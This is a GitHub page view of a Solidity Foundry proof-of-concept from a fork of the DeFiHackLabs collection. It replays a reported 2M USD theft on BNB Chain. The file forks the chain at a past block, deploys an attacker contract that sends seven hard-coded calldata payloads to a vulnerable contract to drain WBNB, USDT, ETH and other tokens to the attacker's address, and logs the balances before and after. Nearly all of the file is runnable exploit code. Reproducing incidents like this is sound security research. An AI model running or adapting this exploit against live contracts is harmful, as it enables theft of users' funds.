forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathunverified_b5cb_exp.sol
More file actions
115 lines (98 loc) · 15.4 KB
/
unverified_b5cb_exp.sol
File metadata and controls
115 lines (98 loc) · 15.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : 2M USD
// Attacker : https://bscscan.com/address/0xd5c6f3b71bcceb2ef8332bd8225f5f39e56a122c
// Attack Contract : https://bscscan.com/address/0x7c2565b563e057d482be2bf77796047e5340c57a
// Vulnerable Contract : https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x8c026c3939f7e2d0376d13e30859fa918a5a567348ca1329836df88bef30c73e
// Other Similar Attack Tx :
// - https://app.blocksec.com/explorer/tx/bsc/0x7708aaedf3d408c47b04d62dac6edd2496637be9cb48852000662d22d2131f44
// - https://app.blocksec.com/explorer/tx/bsc/0xf9025e317ce71bc8c055a511fccf0eb4eafd0b8c613da4d5a8e05e139966d6ff
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0xb5cb0555a1d28c9dfdbc14017dae131d5c1cc19c
// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1937761064713941187
// Twitter Guy : https://x.com/TenArmorAlert/status/1937761064713941187
// Hacking God : N/A
address constant wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant BEP20UpgradeableProxy = 0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d;
address constant OwnedUpgradeabilityProxy = 0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9;
address constant TransparentUpgradeableProxy = 0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409;
address constant BEP20Token = 0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c;
address constant BEP20USDT = 0x55d398326f99059fF775485246999027B3197955;
address constant BEP20Ethereum = 0x2170Ed0880ac9A755fd29B2688956BD959F933F8;
address constant owner = 0xB5CB0555A1D28C9DfdbC14017dae131d5c1cc19c;
address constant victim = 0xB5CB0555c4A333543DbE0b219923C7B3e9D84a87;
address constant attacker = 0xd5c6f3B71bCcEb2eF8332bd8225f5F39E56A122c;
contract ContractTest is Test {
function setUp() public {
vm.createSelectFork("bsc", 52052680-1);
}
function testPoC() public {
emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(attacker), 18);
emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8).balanceOf(attacker), 18);
emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);
emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9).balanceOf(attacker), 18);
emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(attacker), 18);
emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(attacker), 18);
emit log_named_decimal_uint("before attack: balance of attacker", IERC20(0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409).balanceOf(attacker), 18);
vm.startPrank(attacker, attacker);
AttackerC attC = new AttackerC();
vm.stopPrank();
emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c).balanceOf(attacker), 18);
emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8).balanceOf(attacker), 18);
emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x55d398326f99059fF775485246999027B3197955).balanceOf(attacker), 18);
emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x40af3827F39D0EAcBF4A168f8D4ee67c121D11c9).balanceOf(attacker), 18);
emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c).balanceOf(attacker), 18);
emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d).balanceOf(attacker), 18);
emit log_named_decimal_uint("after attack: balance of attacker", IERC20(0xc5f0f7b66764F6ec8C8Dff7BA683102295E16409).balanceOf(attacker), 18);
}
}
// 0x7C2565b563E057D482be2Bf77796047E5340C57a
contract AttackerC {
constructor() {
require(victim == 0xB5CB0555c4A333543DbE0b219923C7B3e9D84a87, "victim mismatch");
IERC20(wbnb).balanceOf(owner);
// it seems calling the printMoney
// but hard to decode the calldata
(bool s1,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a2000000000000000000000000bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c000000000000000000000000000000000000000000000001382294b6a25c95b6000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
require(s1);
IERC20(BEP20Ethereum).balanceOf(owner);
(bool s2,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000002170ed0880ac9a755fd29b2688956bd959f933f800000000000000000000000000000000000000000000000014ed4fb12d0c1e2d000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
require(s2);
IERC20(BEP20USDT).balanceOf(owner);
(bool s3,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a200000000000000000000000055d398326f99059ff775485246999027b3197955000000000000000000000000000000000000000000000135bc852b49b2cd8db4000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
require(s3);
IOwnedUpgradeabilityProxy(OwnedUpgradeabilityProxy).balanceOf(owner);
(bool s4,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a200000000000000000000000040af3827f39d0eacbf4a168f8d4ee67c121d11c90000000000000000000000000000000000000000000000e696b963acf3b8ff37000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
require(s4);
IBEP20Token(BEP20Token).balanceOf(owner);
(bool s5,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000007130d2a12b9bcbfae4f2634d864a1ee1ce3ead9c0000000000000000000000000000000000000000000000000071c00e14a47a0b000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
require(s5);
IBEP20UpgradeableProxy(BEP20UpgradeableProxy).balanceOf(owner);
(bool s6,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a20000000000000000000000008ac76a51cc950d9822d68b83fe1ad97b32cd580d00000000000000000000000000000000000000000000006df1a2d94e17e00b0d000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
require(s6);
ITransparentUpgradeableProxy(TransparentUpgradeableProxy).balanceOf(owner);
(bool s7,) = victim.call(hex"94655f2b000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000002000000000000000000000000b5cb0555a1d28c9dfdbc14017dae131d5c1cc19c000000000000000000000000a5cb0555c0c51e603ead62c6437da65372e4e1b0000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000009d0243f5a2000000000000000000000000c5f0f7b66764f6ec8c8dff7ba683102295e164090000000000000000000000000000000000000000000000529b36f9efe67f88b7000000000000000000000000d5c6f3b71bcceb2ef8332bd8225f5f39e56a122c55000f404c27100002be09a15fab8828741d5f16b5f6d10da0c8ef275b2170ed0880ac9a755fd29b2688956bd959f933f8000f41dc271000020000000000000000000000000000000000000000000000000000000000000000000044c1b1ef560000000000000000000000004848489f0b2bedd788c696e2d79b6b69d7484848000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000");
require(s7);
}
}
interface IBEP20UpgradeableProxy {
function balanceOf(address) external returns (uint256);
}
interface IOwnedUpgradeabilityProxy {
function balanceOf(address) external returns (uint256);
}
interface ITransparentUpgradeableProxy {
function balanceOf(address) external returns (uint256);
}
interface IBEP20Token {
function balanceOf(address) external returns (uint256);
}
interface IBEP20USDT {
function balanceOf(address) external returns (uint256);
}
interface IBEP20Ethereum {
function balanceOf(address) external returns (uint256);
}